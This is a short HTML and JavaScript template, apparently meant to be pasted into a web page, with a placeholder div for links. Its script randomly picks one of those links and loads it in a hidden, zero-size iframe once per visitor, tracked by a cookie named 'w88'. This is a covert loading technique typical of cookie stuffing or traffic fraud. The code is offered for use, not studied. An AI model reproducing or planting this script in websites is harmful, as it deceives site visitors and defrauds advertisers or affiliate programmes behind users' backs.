<div id="areaLinks">

--------------------сюда свой код---------------------------

</div>
<SCRIPT LANGUAGE="JavaScript">
<script>
function SetCookie(cookieName,cookieContent){
 var cookiePath = '/';
 var expDate=new Date();
 expDate.setTime(expDate.getTime()+100*60*60*24*10);
 var expires=expDate.toGMTString();
 document.cookie=cookieName+"="+escape(cookieContent)+";path="+escape(cookiePath)+";expires="+expires; 
}
function GetCookie(cookieName){
 var ourCookie=document.cookie
 if(!ourCookie || ourCookie=="")return ""
 ourCookie=ourCookie.split(";")
 var i=0
 var Cookie
 while(i<ourCookie.length){
 Cookie=ourCookie[i].split("=")[0]
 if(Cookie.charAt(0)==" ")
 Cookie=Cookie.substring(1)
 if(Cookie==cookieName){
 return unescape(ourCookie[i].split("=")[1])
 }
 i++
 }
 return ""
}

if(!GetCookie('w88')){
j=Math.random()*11;
j=Math.round(j);
if(j<1)j=3;

var ng=document.getElementById('areaLinks').getElementsByTagName('a');


document.write("<div style='display:none'><iframe src='"+ng[j]+"' width=0 height=0></iframe></div>");
SetCookie("w88", "gdf");
}
</script>
</SCRIPT>